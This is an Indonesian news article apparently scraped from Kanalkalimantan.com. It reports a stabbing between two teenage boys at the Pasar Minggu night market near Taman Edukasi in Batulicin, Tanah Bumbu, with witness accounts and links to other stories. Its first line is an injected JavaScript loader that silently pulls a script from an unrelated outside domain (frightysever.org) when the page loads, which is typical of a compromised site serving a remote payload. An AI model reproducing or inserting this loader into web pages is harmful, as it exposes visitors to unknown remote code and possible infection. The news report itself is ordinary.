(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Baku pukul menggemparkan area Pasar Minggu di Jalan Raya Batulicin, Kampung Baru, Simpang Empat, Kabupaten Tanah Bumbu, Sabtu (10/9/2022) malam.
Dua remaja laki-laki terlibat adu pukulan hingga layangkan aksi penusukan menggunakan Sajam.
Tempat kejadian keributan, merupakan area Pasar Minggu sekitar halaman Taman Edukasi (Education Park), pengunjung terlihat berjubel memadati wisata hiburan saat malam Minggu, namun dibalik keramaian tersebut, terjafi insiden berdarah.
Dua remaja laki-laki saling baku hantam, sebelumnya mereka berkejaran di Taman Edukasi, kemudian mengelilingi area Pasar Malam. Diduga salah seorang dari aksi baku hantam tersebut melayangkan penusukan kepada lawannya, beberapa warga yang menyaksikan kejadian tersebut berusaha melerai pertikaian.
Baca juga: 429 Peserta Ikut Kompetisi Sains Madrasah Tingkat Provinsi Kalsel di MAN 2 Banjarmasin
Dari mulut salah seorang saksi di lokasi Pasar Malam menyampaikan bahwa korban mengalami luka lebam dan pendarahan, diduga kena tusuk Sajam pada bagian perut.
Setelah melakukan penusukan, pelaku yang diduga pelajar itu melarikan diri, kejadian tepatnya sekitar pukul 22.30 Wita. Tak berselang lama pihak kepolisian setempat datang untuk mengamankan lokasi dan melakukan penyelidikan lebih lanjut.
Ayah korban turun ke lokasi kejadian dengan masih mengenakan helm, wajah ayah korban nampak bingung ditambah rasa panik mengusai atas kejadian yang tidak disangka menimpa putranya. Petugas meminta agar ayah korban menunggu di Polsek Simpang Empat.
Menurut saksi lainnya, korban langsung dilarikan ke Marina Permata Hospital Batulicin (RS. Marina Permata Batulicin) untuk mendapatkan pertolongan.
Mun, salah seorang yang pada saat itu ada di Pasar Malam mengatakan, telah terjadi perkelahian sengit baku hantam antar 2 remaja laki-laki, sebelum salah satunya jatuh menjadi korban penusukan, ia meyakini keduanya masih seperti pelajar SMP.
“Mereka masih remaja, terlihat darah keluar dari mulut salah satu yang menjadi korban, amarah membuat lawan berkelahinya naik pitam, hingga mencoba menghunuskan pisau ke korban,” terangnya.
Baca juga: Saat Ojol Menanti Keputusan Menhub terkait Kenaikan Tarif yang Tak Kunjung Turun
Reaksi yang sama datang dari petugas parkir setempat, yang menjelaskan hal serupa, ditambah lagi informasi bahwa di lokasi tersebut kerap kali menjadi aksi tindak kriminal.
Deni, warga setempat meminta pengawasan terhadap anak dari orangtua maupun keluarga, disamping itu ia juga berharap peran pemerintah.
“Karen itu namanya Taman Edukasi, yang selayaknya memberikan suasana kenyamanan dan pendidikan maupun moral, sehingga taman kota terlihat lebih aman,” ujarnya
Hingga saat ini, belum ada keterangan lebih lanjut dari pihak kepolisian karena masih dalam pengusutan kasus. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More
This website uses cookies.